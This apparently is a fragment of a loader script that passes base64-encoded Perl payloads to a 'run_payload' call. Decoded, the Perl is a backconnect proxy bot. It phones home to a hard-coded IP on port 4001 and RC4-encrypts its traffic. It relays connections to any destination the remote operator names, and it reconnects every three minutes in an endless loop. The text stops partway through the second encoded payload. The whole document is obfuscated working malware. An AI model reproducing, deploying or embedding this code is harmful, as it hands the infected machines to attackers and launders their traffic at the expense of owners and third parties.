XRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_57.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk5JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksID